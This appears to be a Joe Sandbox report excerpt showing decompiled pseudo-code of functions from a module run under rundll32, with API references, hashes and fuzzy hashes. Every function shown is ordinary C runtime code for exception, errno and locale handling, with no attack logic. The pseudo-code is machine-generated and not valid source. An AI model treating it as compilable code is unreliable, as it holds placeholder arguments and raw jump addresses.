Instruction Fuzzy Hash: 1A716732A09B81C9EB50DFA4E8447EE77B1F784398F500226DA8D57AB9CF78D159CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF475B6B7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E000007FE7FEF475B6B7(void* __ecx, void* __rax, intOrPtr _a32, intOrPtr _a56, intOrPtr _a64, intOrPtr _a72, long long _a80, intOrPtr* _a96, intOrPtr _a208, intOrPtr* _a216, long long _a224, intOrPtr _a232) {
				void* _t35;
				void* _t49;
				intOrPtr _t50;
				intOrPtr* _t63;

				_t49 = __rax;
				_a32 = 1;
				E000007FE7FEF4745100(__rax);
				 *(_t49 + 0x460) =  *(_t49 + 0x460) & 0x00000000;
				_t63 = _a216;
				if (_a208 == 0) goto 0xf475b6fe;
				E000007FE7FEF475A8D0(1, _t63);
				_t50 = _a232;
				r8d =  *((intOrPtr*)(_t50 + 0x18));
				goto 0xf475b70b;
				r8d =  *((intOrPtr*)(_t63 + 0x18));
				RaiseException(??, ??, ??, ??);
				r15d = _a32;
				E000007FE7FEF475A208( *_t63, _t50, _a64, _a56);
				if (r15d != 0) goto 0xf475b771;
				if ( *_t63 != 0xe06d7363) goto 0xf475b771;
				if ( *((intOrPtr*)(_t63 + 0x18)) != 4) goto 0xf475b771;
				if ( *((intOrPtr*)(_t63 + 0x20)) - 0x19930520 - 2 > 0) goto 0xf475b771;
				if (E000007FE7FEF475A298(_t50,  *((intOrPtr*)(_t63 + 0x28))) == 0) goto 0xf475b771;
				E000007FE7FEF475A8D0(1, _t63);
				E000007FE7FEF4745100(_t50);
				 *((long long*)(_t50 + 0xf0)) = _a224;
				_t35 = E000007FE7FEF4745100(_t50);
				 *((long long*)(_t50 + 0xf8)) = _a80;
				 *((long long*)( *((intOrPtr*)(_a72 + 0x1c)) +  *_a96)) = 0xfffffffe;
				return _t35;
			}

0x7fef475b6b7
0x7fef475b6b7
0x7fef475b6bf
0x7fef475b6c4
0x7fef475b6cb
0x7fef475b6db
0x7fef475b6e2
0x7fef475b6e7
0x7fef475b6f3
0x7fef475b6fc
0x7fef475b702
0x7fef475b70b
0x7fef475b711
0x7fef475b735
0x7fef475b73d
0x7fef475b745
0x7fef475b74b
0x7fef475b758
0x7fef475b765
0x7fef475b76c
0x7fef475b771
0x7fef475b776
0x7fef475b77d
0x7fef475b782
0x7fef475b795
0x7fef475b7b2

APIs

__DestructExceptionObject.LIBCMT ref: 000007FEF475B6E2
RaiseException.KERNEL32 ref: 000007FEF475B70B
__DestructExceptionObject.LIBCMT ref: 000007FEF475B76C
_getptd.LIBCMT ref: 000007FEF475B6BF

Part of subcall function 000007FEF4745100: _getptd_noexit.LIBCMT ref: 000007FEF4745106
Part of subcall function 000007FEF4745100: _amsg_exit.LIBCMT ref: 000007FEF4745116

_getptd.LIBCMT ref: 000007FEF475B771
_getptd.LIBCMT ref: 000007FEF475B77D

Strings

csm, xrefs: 000007FEF475B73F

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Exception_getptd$DestructObject$Raise_amsg_exit_getptd_noexit
String ID: csm
API String ID: 1037122555-1018135373
Opcode ID: 9e9fac964366949cc0fb8e44caf77bf04df64cb9fe50a9af3ea7ed134be46dc2
Instruction ID: bb219690fa7e8cdcfe9f339a5abdf5cb55363f13514ec5e9d49ff61cee02db5d
Opcode Fuzzy Hash: 9e9fac964366949cc0fb8e44caf77bf04df64cb9fe50a9af3ea7ed134be46dc2
Instruction Fuzzy Hash: A0213C3A609646C6E6B0DB11E040B7E77A0F784BA4F544222DF9E07BE5CB3DE486CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4754DE4 Relevance: 10.6, APIs: 7, Instructions: 122
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF4754DE4(void* __edx, intOrPtr* __rax, void* __rcx, void* __r8) {
				void* _t1;
				void* _t5;

				r9d = 0;
				_t5 =  *0xf4779dfc - r9d; // 0x0
				if (_t5 != 0) goto 0xf4754e72;
				if (__r8 == 0) goto 0xf4754e6a;
				if (__rcx != 0) goto 0xf4754e1e;
				_t1 = E000007FE7FEF4742E3C(__rax);
				 *__rax = 0x16;
				E000007FE7FEF47480D8(_t1);
				return 0x7fffffff;
			}

0x7fef4754de8
0x7fef4754df1
0x7fef4754df8
0x7fef4754dfd
0x7fef4754e02
0x7fef4754e04
0x7fef4754e09
0x7fef4754e0f
0x7fef4754e1d

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000007FEF4754E0F
_errno.LIBCMT ref: 000007FEF4754E04

Part of subcall function 000007FEF4742E3C: _getptd_noexit.LIBCMT ref: 000007FEF4742E40

_errno.LIBCMT ref: 000007FEF4754EB2
_invalid_parameter_noinfo.LIBCMT ref: 000007FEF4754EBD

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: 66344c65c4a1d324ce37b2e1e92c187252c4f611ca62c82b2e7d5c6e08db3639
Instruction ID: 450f43d57b1dfe2ab0b81dca82aa14308855140e753d797436b06bc4a75ef544
Opcode Fuzzy Hash: 66344c65c4a1d324ce37b2e1e92c187252c4f611ca62c82b2e7d5c6e08db3639
Instruction Fuzzy Hash: 0E41F672E0E297C5EBE49B26D240BB972E0E740B95F884135EA9D0B6E5D72CF9918300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4754828 Relevance: 10.6, APIs: 7, Instructions: 107
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF4754828(void* __edx, intOrPtr* __rax, void* __rcx, void* __rdx) {
				void* _t1;
				void* _t5;

				r8d = 0;
				_t5 =  *0xf4779dfc - r8d; // 0x0
				if (_t5 != 0) goto 0xf47548a3;
				if (__rcx != 0) goto 0xf475485d;
				_t1 = E000007FE7FEF4742E3C(__rax);
				 *__rax = 0x16;
				E000007FE7FEF47480D8(_t1);
				return 0x7fffffff;
			}

0x7fef475482c
0x7fef4754835
0x7fef475483c
0x7fef4754841
0x7fef4754843
0x7fef4754848
0x7fef475484e
0x7fef475485c

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000007FEF475484E
_errno.LIBCMT ref: 000007FEF4754843

Part of subcall function 000007FEF4742E3C: _getptd_noexit.LIBCMT ref: 000007FEF4742E40

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000007FEF47548CD
_errno.LIBCMT ref: 000007FEF47548DE
_invalid_parameter_noinfo.LIBCMT ref: 000007FEF47548E9

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 922b1abad2af0fb4547f6dc6ed9f186967ad62ccd565b83796e6b2a7ee5371d4
Instruction ID: 4d742e79dd8424fa79a882407b8af00fc06a9ada6e6356247a255879587700c6
Opcode Fuzzy Hash: 922b1abad2af0fb4547f6dc6ed9f186967ad62ccd565b83796e6b2a7ee5371d4
Instruction Fuzzy Hash: BD411772E1E2A7C2EFE49B13D051BB972E0E750BA4F948135A69C0B6E4D72CE991C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4730D10 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E000007FE7FEF4730D10(long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi) {
				void* _v8;
				signed int _v24;
				char _v28;
				char _v32;
				char _v56;
				void* _v72;
				void* _t30;
				void* _t31;
				intOrPtr _t33;
				void* _t36;
				void* _t46;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t53;
				signed long long _t62;
				signed long long _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				intOrPtr* _t71;
				intOrPtr _t77;
				void* _t86;
				signed long long _t92;
				signed long long _t93;
				long long _t96;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr* _t105;

				_t103 = _t98;
				 *((long long*)(_t103 - 0x40)) = 0xfffffffe;
				 *((long long*)(_t103 + 0x10)) = __rbx;
				 *((long long*)(_t103 + 0x18)) = __rsi;
				 *((long long*)(_t103 + 0x20)) = __rdi;
				_t62 =  *0xf4777530; // 0xf9634ebbaa1d
				_t63 = _t62 ^ _t98 - 0x00000060;
				_v24 = _t63;
				_t105 = __rcx;
				_t31 = E000007FE7FEF4758F68(_t30, 0, _t103 - 0x1c, _t86);
				_t96 =  *0xf477b068; // 0x0
				_v72 = _t96;
				_t92 =  *0xf477b240; // 0x0
				if (_t92 != 0) goto 0xf4730da0;
				E000007FE7FEF4758F68(_t31, 0,  &_v32, _t86);
				_t53 =  *0xf477b240 - _t92; // 0x0
				if (_t53 != 0) goto 0xf4730d8f;
				_t33 =  *0xf477abe8; // 0x2
				 *0xf477abe8 = _t33 + 1;
				 *0xf477b240 = _t63;
				_t36 = E000007FE7FEF4758FE4(_t63,  &_v32);
				_t93 =  *0xf477b240; // 0x0
				_t77 =  *_t105;
				if (_t93 -  *((intOrPtr*)(_t77 + 0x18)) >= 0) goto 0xf4730dbc;
				_t64 =  *((intOrPtr*)(_t77 + 0x10));
				if ( *((intOrPtr*)(_t64 + _t93 * 8)) != 0) goto 0xf4730e3a;
				goto 0xf4730dbe;
				if ( *((char*)(_t77 + 0x24)) == 0) goto 0xf4730dd7;
				E000007FE7FEF4758C6C(_t36);
				if (_t93 -  *((intOrPtr*)(_t64 + 0x18)) >= 0) goto 0xf4730ddc;
				_t65 =  *((intOrPtr*)(_t64 + 0x10));
				if ( *((intOrPtr*)(_t65 + _t93 * 8)) != 0) goto 0xf4730e3a;
				if (_t96 == 0) goto 0xf4730de6;
				goto 0xf4730e3a;
				E000007FE7FEF4730E70(0, _t96,  &_v72, _t105, _t102);
				if (_t65 != 0xffffffff) goto 0xf4730e1c;
				E000007FE7FEF4741CB0( &_v56, "bad cast");
				E000007FE7FEF4747948(_t96,  &_v56, 0xf4775f28, _t93);
				asm("int3");
				_t71 = _v72;
				 *0xf477b068 = _t71;
				 *((intOrPtr*)( *_t71 + 8))();
				E000007FE7FEF4758FE4(E000007FE7FEF4758C38(_t65, _t71),  &_v28);
				return E000007FE7FEF4740F90(_t46, _t49, _t50, _t51, _v24 ^ _t98 - 0x00000060,  *_t71, _t101);
			}

0x7fef4730d10
0x7fef4730d19
0x7fef4730d21
0x7fef4730d25
0x7fef4730d29
0x7fef4730d2d
0x7fef4730d34
0x7fef4730d37
0x7fef4730d3c
0x7fef4730d45
0x7fef4730d4b
0x7fef4730d52
0x7fef4730d57
0x7fef4730d61
0x7fef4730d6a
0x7fef4730d6f
0x7fef4730d76
0x7fef4730d78
0x7fef4730d80
0x7fef4730d88
0x7fef4730d94
0x7fef4730d99
0x7fef4730da0
0x7fef4730da7
0x7fef4730da9
0x7fef4730db4
0x7fef4730dba
0x7fef4730dc2
0x7fef4730dc4
0x7fef4730dcd
0x7fef4730dcf
0x7fef4730dda
0x7fef4730ddf
0x7fef4730de4
0x7fef4730dee
0x7fef4730df7
0x7fef4730e05
0x7fef4730e16
0x7fef4730e1b
0x7fef4730e1c
0x7fef4730e21
0x7fef4730e2e
0x7fef4730e3f
0x7fef4730e6a

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF4730D45

Part of subcall function 000007FEF4758F68: _lock.LIBCMT ref: 000007FEF4758F7A

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF4730D6A
std::bad_exception::bad_exception.LIBCMT ref: 000007FEF4730E05
_CxxThrowException.LIBCMT ref: 000007FEF4730E16
std::_Facet_Register.LIBCPMT ref: 000007FEF4730E34

Strings

bad cast, xrefs: 000007FEF4730DF9

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 1776536810-3145022300
Opcode ID: 8e71b3f72896d9ec82f57721d2905e7a2a29513066e4d8c71fe48fb37f07823c
Instruction ID: 68858f22bb96d76f89f18b8b51f12335ba0a9573e21e608ade85ed3c3dae602f
Opcode Fuzzy Hash: 8e71b3f72896d9ec82f57721d2905e7a2a29513066e4d8c71fe48fb37f07823c
Instruction Fuzzy Hash: 2A415922B1EB86C1EA90DB11E444AB963E1F758BA4F940236DA6D477F9DB3CF951C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF473D840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E000007FE7FEF473D840(long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi) {
				void* _v8;
				signed int _v24;
				char _v28;
				char _v32;
				char _v56;
				void* _v72;
				void* _t30;
				void* _t31;
				intOrPtr _t33;
				void* _t36;
				void* _t46;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t53;
				signed long long _t62;
				signed long long _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				intOrPtr* _t71;
				intOrPtr _t77;
				void* _t86;
				signed long long _t92;
				signed long long _t93;
				long long _t96;
				void* _t98;
				void* _t101;
				void* _t102;
				intOrPtr* _t104;

				_t102 = _t98;
				 *((long long*)(_t102 - 0x40)) = 0xfffffffe;
				 *((long long*)(_t102 + 0x10)) = __rbx;
				 *((long long*)(_t102 + 0x18)) = __rsi;
				 *((long long*)(_t102 + 0x20)) = __rdi;
				_t62 =  *0xf4777530; // 0xf9634ebbaa1d
				_t63 = _t62 ^ _t98 - 0x00000060;
				_v24 = _t63;
				_t104 = __rcx;
				_t31 = E000007FE7FEF4758F68(_t30, 0, _t102 - 0x1c, _t86);
				_t96 =  *0xf477b210; // 0x1eccb0
				_v72 = _t96;
				_t92 =  *0xf477ac10; // 0x1
				if (_t92 != 0) goto 0xf473d8d0;
				E000007FE7FEF4758F68(_t31, 0,  &_v32, _t86);
				_t53 =  *0xf477ac10 - _t92; // 0x1
				if (_t53 != 0) goto 0xf473d8bf;
				_t33 =  *0xf477abe8; // 0x2
				 *0xf477abe8 = _t33 + 1;
				 *0xf477ac10 = _t63;
				_t36 = E000007FE7FEF4758FE4(_t63,  &_v32);
				_t93 =  *0xf477ac10; // 0x1
				_t77 =  *_t104;
				if (_t93 -  *((intOrPtr*)(_t77 + 0x18)) >= 0) goto 0xf473d8ec;
				_t64 =  *((intOrPtr*)(_t77 + 0x10));
				if ( *((intOrPtr*)(_t64 + _t93 * 8)) != 0) goto 0xf473d96a;
				goto 0xf473d8ee;
				if ( *((char*)(_t77 + 0x24)) == 0) goto 0xf473d907;
				E000007FE7FEF4758C6C(_t36);
				if (_t93 -  *((intOrPtr*)(_t64 + 0x18)) >= 0) goto 0xf473d90c;
				_t65 =  *((intOrPtr*)(_t64 + 0x10));
				if ( *((intOrPtr*)(_t65 + _t93 * 8)) != 0) goto 0xf473d96a;
				if (_t96 == 0) goto 0xf473d916;
				goto 0xf473d96a;
				E000007FE7FEF4732BC0(0, _t49, _t96,  &_v72, _t104, _t93, _t96);
				if (_t65 != 0xffffffff) goto 0xf473d94c;
				E000007FE7FEF4741CB0( &_v56, "bad cast");
				E000007FE7FEF4747948(_t96,  &_v56, 0xf4775f28, _t93);
				asm("int3");
				_t71 = _v72;
				 *0xf477b210 = _t71;
				 *((intOrPtr*)( *_t71 + 8))();
				E000007FE7FEF4758FE4(E000007FE7FEF4758C38(_t65, _t71),  &_v28);
				return E000007FE7FEF4740F90(_t46, _t49, _t50, _t51, _v24 ^ _t98 - 0x00000060,  *_t71, _t101);
			}

0x7fef473d840
0x7fef473d849
0x7fef473d851
0x7fef473d855
0x7fef473d859
0x7fef473d85d
0x7fef473d864
0x7fef473d867
0x7fef473d86c
0x7fef473d875
0x7fef473d87b
0x7fef473d882
0x7fef473d887
0x7fef473d891
0x7fef473d89a
0x7fef473d89f
0x7fef473d8a6
0x7fef473d8a8
0x7fef473d8b0
0x7fef473d8b8
0x7fef473d8c4
0x7fef473d8c9
0x7fef473d8d0
0x7fef473d8d7
0x7fef473d8d9
0x7fef473d8e4
0x7fef473d8ea
0x7fef473d8f2
0x7fef473d8f4
0x7fef473d8fd
0x7fef473d8ff
0x7fef473d90a
0x7fef473d90f
0x7fef473d914
0x7fef473d91e
0x7fef473d927
0x7fef473d935
0x7fef473d946
0x7fef473d94b
0x7fef473d94c
0x7fef473d951
0x7fef473d95e
0x7fef473d96f
0x7fef473d99a

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF473D875

Part of subcall function 000007FEF4758F68: _lock.LIBCMT ref: 000007FEF4758F7A

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF473D89A
std::bad_exception::bad_exception.LIBCMT ref: 000007FEF473D935
_CxxThrowException.LIBCMT ref: 000007FEF473D946
std::_Facet_Register.LIBCPMT ref: 000007FEF473D964

Strings

bad cast, xrefs: 000007FEF473D929

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 1776536810-3145022300
Opcode ID: c8055f3bd84c0b3f52f1abd6b53854ef018bdf613eb57e5128dc5d484b9b64b6
Instruction ID: 4f3e4aa6abc5f3596ec50f66e43964207ac97c368b448f0bebcef3d65b6fb190
Opcode Fuzzy Hash: c8055f3bd84c0b3f52f1abd6b53854ef018bdf613eb57e5128dc5d484b9b64b6
Instruction Fuzzy Hash: CC417C21B0EA46C1EB90DB51E840AB863E1F798BA4F940232DA6D477F5CF3CE955C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4729400 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E000007FE7FEF4729400(long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi) {
				void* _v8;
				signed int _v24;
				char _v28;
				char _v32;
				char _v56;
				void* _v72;
				void* _t30;
				void* _t31;
				intOrPtr _t33;
				void* _t36;
				void* _t46;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t53;
				signed long long _t62;
				signed long long _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				intOrPtr* _t71;
				intOrPtr _t77;
				void* _t86;
				signed long long _t92;
				signed long long _t93;
				long long _t96;
				void* _t98;
				void* _t101;
				void* _t102;
				intOrPtr* _t104;

				_t102 = _t98;
				 *((long long*)(_t102 - 0x40)) = 0xfffffffe;
				 *((long long*)(_t102 + 0x10)) = __rbx;
				 *((long long*)(_t102 + 0x18)) = __rsi;
				 *((long long*)(_t102 + 0x20)) = __rdi;
				_t62 =  *0xf4777530; // 0xf9634ebbaa1d
				_t63 = _t62 ^ _t98 - 0x00000060;
				_v24 = _t63;
				_t104 = __rcx;
				_t31 = E000007FE7FEF4758F68(_t30, 0, _t102 - 0x1c, _t86);
				_t96 =  *0xf477b070; // 0x0
				_v72 = _t96;
				_t92 =  *0xf477ac38; // 0x0
				if (_t92 != 0) goto 0xf4729490;
				E000007FE7FEF4758F68(_t31, 0,  &_v32, _t86);
				_t53 =  *0xf477ac38 - _t92; // 0x0
				if (_t53 != 0) goto 0xf472947f;
				_t33 =  *0xf477abe8; // 0x2
				 *0xf477abe8 = _t33 + 1;
				 *0xf477ac38 = _t63;
				_t36 = E000007FE7FEF4758FE4(_t63,  &_v32);
				_t93 =  *0xf477ac38; // 0x0
				_t77 =  *_t104;
				if (_t93 -  *((intOrPtr*)(_t77 + 0x18)) >= 0) goto 0xf47294ac;
				_t64 =  *((intOrPtr*)(_t77 + 0x10));
				if ( *((intOrPtr*)(_t64 + _t93 * 8)) != 0) goto 0xf472952a;
				goto 0xf47294ae;
				if ( *((char*)(_t77 + 0x24)) == 0) goto 0xf47294c7;
				E000007FE7FEF4758C6C(_t36);
				if (_t93 -  *((intOrPtr*)(_t64 + 0x18)) >= 0) goto 0xf47294cc;
				_t65 =  *((intOrPtr*)(_t64 + 0x10));
				if ( *((intOrPtr*)(_t65 + _t93 * 8)) != 0) goto 0xf472952a;
				if (_t96 == 0) goto 0xf47294d6;
				goto 0xf472952a;
				E000007FE7FEF4723F80(0, _t49, _t96,  &_v72, _t104, _t93, _t96);
				if (_t65 != 0xffffffff) goto 0xf472950c;
				E000007FE7FEF4741CB0( &_v56, "bad cast");
				E000007FE7FEF4747948(_t96,  &_v56, 0xf4775f28, _t93);
				asm("int3");
				_t71 = _v72;
				 *0xf477b070 = _t71;
				 *((intOrPtr*)( *_t71 + 8))();
				E000007FE7FEF4758FE4(E000007FE7FEF4758C38(_t65, _t71),  &_v28);
				return E000007FE7FEF4740F90(_t46, _t49, _t50, _t51, _v24 ^ _t98 - 0x00000060,  *_t71, _t101);
			}

0x7fef4729400
0x7fef4729409
0x7fef4729411
0x7fef4729415
0x7fef4729419
0x7fef472941d
0x7fef4729424
0x7fef4729427
0x7fef472942c
0x7fef4729435
0x7fef472943b
0x7fef4729442
0x7fef4729447
0x7fef4729451
0x7fef472945a
0x7fef472945f
0x7fef4729466
0x7fef4729468
0x7fef4729470
0x7fef4729478
0x7fef4729484
0x7fef4729489
0x7fef4729490
0x7fef4729497
0x7fef4729499
0x7fef47294a4
0x7fef47294aa
0x7fef47294b2
0x7fef47294b4
0x7fef47294bd
0x7fef47294bf
0x7fef47294ca
0x7fef47294cf
0x7fef47294d4
0x7fef47294de
0x7fef47294e7
0x7fef47294f5
0x7fef4729506
0x7fef472950b
0x7fef472950c
0x7fef4729511
0x7fef472951e
0x7fef472952f
0x7fef472955a

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF4729435

Part of subcall function 000007FEF4758F68: _lock.LIBCMT ref: 000007FEF4758F7A

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF472945A
std::bad_exception::bad_exception.LIBCMT ref: 000007FEF47294F5
_CxxThrowException.LIBCMT ref: 000007FEF4729506
std::_Facet_Register.LIBCPMT ref: 000007FEF4729524

Strings

bad cast, xrefs: 000007FEF47294E9

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 1776536810-3145022300
Opcode ID: 74bcfdec85f21dfdb63294f08187e5a63f918e21f7bf73c24adfe3c77bd6680c
Instruction ID: e4d9e8e72a4f6dfa15b251d9d901ee042c3767a1f1e291e96ea08db223aa1e4b
Opcode Fuzzy Hash: 74bcfdec85f21dfdb63294f08187e5a63f918e21f7bf73c24adfe3c77bd6680c
Instruction Fuzzy Hash: BC419D21B1EA46C2EA90DB15E440AB963E1F398BA0F980232DA6D477F5DF7CE605C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4756AFC Relevance: 10.6, APIs: 7, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E000007FE7FEF4756AFC(void* __edx, intOrPtr __edi, void* __eflags, long long __rbx, void* __rcx, long long __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9) {
				void* _v8;
				char _v16;
				intOrPtr _v24;
				intOrPtr _v32;
				char _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				long long _v64;
				intOrPtr _v72;
				void* _t26;
				void* _t28;
				void* _t39;
				void* _t41;
				intOrPtr* _t51;
				intOrPtr* _t73;
				void* _t81;
				void* _t82;

				_t53 = __rbx;
				_t39 = __edx;
				r9d = 0;
				goto 0xf4756b04;
				_t51 = _t73;
				 *((long long*)(_t51 + 8)) = __rbx;
				 *((long long*)(_t51 + 0x10)) = __rbp;
				 *((long long*)(_t51 + 0x18)) = __rsi;
				 *((long long*)(_t51 + 0x20)) = __rdi;
				E000007FE7FEF4741544(_t51, _t51 - 0x28, __r9);
				if (__r8 != 0) goto 0xf4756b41;
				goto 0xf4756bd3;
				if (__rcx == 0) goto 0xf4756b4b;
				if (__rdx != 0) goto 0xf4756b62;
				_t26 = E000007FE7FEF4742E3C(_t51);
				 *_t51 = 0x16;
				E000007FE7FEF47480D8(_t26);
				goto 0xf4756bd3;
				if (__r8 - __rbx <= 0) goto 0xf4756b7e;
				_t28 = E000007FE7FEF4742E3C(_t51);
				 *_t51 = 0x16;
				E000007FE7FEF47480D8(_t28);
				goto 0xf4756bd3;
				if ( *((intOrPtr*)(_v32 + 8)) != 0) goto 0xf4756b9e;
				E000007FE7FEF4757F6C(_t39, __edi,  *((intOrPtr*)(_v32 + 8)), __rbx, __rcx, __rdx, __rdx, __rcx, __r8, __r9);
				goto 0xf4756bd3;
				_v48 =  *((intOrPtr*)(__rdx + 4));
				_v56 = __edi;
				r8d = 0x1001;
				_v64 = __rdx;
				_v72 = __edi;
				if (E000007FE7FEF47583D4(_t41,  *((intOrPtr*)(_v32 + 8)), _t51, _t53,  &_v40,  *((intOrPtr*)(__rdx + 0x220)), __rdx, __r8, __rcx, _t81, _t82) == 0) goto 0xf4756bd3;
				_t15 = _t51 - 2; // -2
				if (_v16 == 0) goto 0xf4756be6;
				 *(_v24 + 0xc8) =  *(_v24 + 0xc8) & 0xfffffffd;
				return _t15;
			}

0x7fef4756afc
0x7fef4756afc
0x7fef4756afc
0x7fef4756aff
0x7fef4756b04
0x7fef4756b07
0x7fef4756b0b
0x7fef4756b0f
0x7fef4756b13
0x7fef4756b30
0x7fef4756b38
0x7fef4756b3c
0x7fef4756b44
0x7fef4756b49
0x7fef4756b4b
0x7fef4756b50
0x7fef4756b56
0x7fef4756b60
0x7fef4756b6a
0x7fef4756b6c
0x7fef4756b71
0x7fef4756b77
0x7fef4756b7c
0x7fef4756b87
0x7fef4756b95
0x7fef4756b9c
0x7fef4756bad
0x7fef4756bb1
0x7fef4756bb8
0x7fef4756bbe
0x7fef4756bc3
0x7fef4756bce
0x7fef4756bd0
0x7fef4756bd8
0x7fef4756bdf
0x7fef4756c02

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000007FEF4756B30

